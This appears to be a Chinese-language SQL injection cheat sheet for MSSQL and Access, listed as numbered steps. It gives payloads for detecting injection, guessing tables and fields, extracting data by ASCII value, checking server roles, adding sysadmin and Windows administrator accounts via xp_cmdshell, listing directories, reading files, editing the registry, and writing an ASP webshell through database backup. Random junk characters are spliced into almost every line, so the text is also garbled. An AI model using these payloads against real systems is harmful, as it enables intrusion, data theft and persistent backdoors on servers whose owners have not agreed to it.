1.判断是否有注入;and 1=1 ;and 1=2 )C]x?R([m
2.初步判断是否是mssql ;and user>0 C7"HQQ
"ED8z|]j
3.注入参数是字符'and [查询条件] and ''=' D guB
!q/5yEJ>h
4.搜索时没过滤参数的'and [查询条件] and '%25'='
M[P^]J@
T 1Cs>#)
5.判断数据库系统 M}FWBs'*|
vgG}d8MW37
;and (select count(*) from sysobjects)>0 mssql l gq=GHW
J\`^:tcG
;and (select count(*) from msysobjects)>0 access H'Qo\L4H
wK5_t[[
}[=YU%[o:
\ aKd5@
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ?S`>>^
aC\4}i<
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 NB)t7/Us
F?]N8W
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 DdjCn`jqlf
2<6j1D^jM
9.(1)猜字段的ascii值(access) Go8F5a@j
BQrL7y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 F@SG((`
*@M3p}',M
(2)猜字段的ascii值(mssql) /6tcSg)
3'#%c>_
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 8 njuDl
aj7dH5SZl
10.测试权限结构(mssql) L(o#4YH}>J
gA:TL{X0
bx;f`8SN
tbur$00
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {*xBm#
VTw/_Hf2p
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ~
=.CTm]vf
$$gtZ{ukQ
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 0s%6n5>
SGf9U^ds
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- P;U@y"s
aqL<v94wX
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- YKx 1NC
dr]&kqm
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- j$PI,`
TmP8q
;and 1=(select IS_MEMBER('db_owner'));-- /tC9G@Hl
Rc9<^g`
mK\aI
;'1Apy
11.添加mssql和系统的帐户 /H&aMk}J@y
TA;,>f*
;exec master.dbo.sp_addlogin username;-- uBeNXOre
;exec master.dbo.sp_password null,username,password;-- ntH T
" i`8l.Lc
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^ KOzCLC
2%YXc|gGT
;exec master.dbo.xp_cmdshell 'net user username password U$J5r+>
I: U$
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- eP |)SU
,)$Wm-
;exec master.dbo.xp_cmdshell 'net user username password /add';-- >d%VDjk .
Gpu_=9vzv
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- l%PnB
)F
%$9:e
J?
o;;,iHu*
(,tHL
12.(1)遍历目录 VkXn8J
F6&P ~H
;create table dirs(paths varchar(100), id int) p7 [(z
(j N]OE^
;insert dirs exec master.dbo.xp_dirtree 'c:\' e^frVEV
7^wE$7hS
;and (select top 1 paths from dirs)>0 cjY@Ot*i$
!%62Phai
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;1E_o
9[{sEg=C$e
O5MDGg
s`vSt*
]K
(2)遍历目录 ITvHD-,\
ZKQo#!}
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- yBe(^ n
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 f\'G`4e
F@^N|;_2
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 PP4d?+;V
IUawdB5CB
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ,.7vBt6 p
]Zv,
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =ZMF ]|
1ypjyu
Iaa|qJ4
Wa, 7P2r
13.mssql中的存储过程 p">WK<N
{X]9^=O"
xp_regenumvalues 注册表根键, 子键 >w2f8tW`PP
3_U\VGm
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ~2 Oc
K
sD2Qm
xp_regread 根键,子键,键值名 %*p^$5L<
Hn^sW
LT
;exec xp_regread Ij,Yuo
I+~\
w N
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ?o>6S
EGW
k(9s+0qe
xp_regwrite 根键,子键, 值名, 值类型, 值 [oJ& J>U'
JU2P%3
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 )<Ob
|VYr=hjo
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 d'q&Lq
`\e'K56W6
xp_regdeletevalue 根键,子键,值名 8J^d7uC
+7^w9G
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 i&pMF O
%&2B
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 #:I^&~:
!p"Kd ~
d3(+ztmG!
2{gwY85:
14.mssql的backup创建webshell x{j+}'9
++gPv}:$X
use model 2_I+mQ
-G!6U2*#
create table cmd(str image); o[imNy~ ~
4V>vg2
d
insert into cmd(str) values (''); 3l+|&q[v
x' ?.~
backup database model to disk='c:\l.asp'; 9<w=),R`8
+> ^[W~[2
)2toL5 Q
*.,8,e8Vq
15.mssql内置函数 Es:5yX!
DbQBVy
;and (select @@version)>0 获得Windows的版本号 c%b\CP\)W
n }TTq6B
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^X$
I= ro
T77)Np
;and (select user_name())>0 爆当前系统的连接用户 [e1\A&T
g\qX7nIH?
;and (select db_name())>0 得到当前连接的数据库 jigbeHRy
FfjC
M7?
O2$!'!hz
}il%AAI9}r
16.简洁的webshell cS5w +`,L
zK,~ 37)\
use model "wF*O"WQo
C\J@fpH(t`
create table cmd(str image); #'#4hJ*YC
Vj29L?3
insert into cmd(str) values (''); VDPxue
g8Ok ^
backup database model to disk='g:\wwwtest\l.asp';